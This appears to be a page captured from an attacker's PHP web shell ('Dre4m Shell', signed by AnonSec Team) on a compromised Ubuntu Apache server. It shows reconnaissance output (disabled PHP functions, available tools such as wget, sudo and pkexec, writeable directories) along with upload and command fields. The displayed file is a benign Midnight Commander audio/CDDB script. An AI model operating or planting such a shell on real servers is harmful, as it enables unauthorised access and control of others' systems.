Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.129.194.130
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/mc/extfs.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/mc/extfs.d/audio
#! /bin/sh
#
# Written by Pavel Machek
# CDDB support by Adam Byrtek
#
# (C) 2000 The Free Software Foundation.
#

set -e

CDDB_SERVER="http://freedb.freedb.org"
CDDB_HANDSHAKE="hello=user+localhost+mc+1.0&proto=1"
CDDB_TIMEOUT=20 # in seconds

audiofs_list()
{
    DATE=`date +"%b %d %H:%M"`
    echo "-r--r--r-- 1 0 0 0 $DATE CDDB"
    cdparanoia -Q -d "$1" 2>&1 | grep '^[ 0-9][ 0-9][ 0-9]\.' | while read A B C
    do
	A=`echo "$A" | sed -e 's/\.//' -e 's/^\(.\)$/0\1/'`
	SIZE=`expr 44 + $B \* 2352`
	echo "-r--r--r-- 1 0 0 $SIZE $DATE track-${A}.wav"
    done
}

audiofs_copyout()
{
    if [ x"$2" = x"CDDB" ]; then
        DISCID=`cd-discid "$1" | tr " " "+"`
	if [ -z "$DISCID" ]; then
	    exit 1
	fi
        RESPONSE=`wget -q -T $CDDB_TIMEOUT -O - "$CDDB_SERVER/~cddb/cddb.cgi?cmd=cddb+query+$DISCID&$CDDB_HANDSHAKE" | tee "$3" | awk '/^200/ { print $2,$3; }'`
	wget -q -T $CDDB_TIMEOUT -O - "$CDDB_SERVER/~cddb/cddb.cgi?cmd=cddb+read+$RESPONSE&$CDDB_HANDSHAKE" | grep -v "^#" >> "$3"
    else
        TRACK=`echo "$2" | sed 's/track-0*//' | sed 's/\.wav//'`
        cdparanoia -q -d "$1" "$TRACK" "$3" >/dev/null
    fi
}

if [ ! -b "$2" ]
then
    BASE="/dev/cdrom"
else
    BASE="$2"
fi

case "$1" in
  list) audiofs_list "$BASE"; exit 0;;
  copyout) audiofs_copyout "$BASE" "$3" "$4"; exit 0;;
esac
exit 1

Anon7 - 2022
AnonSec Team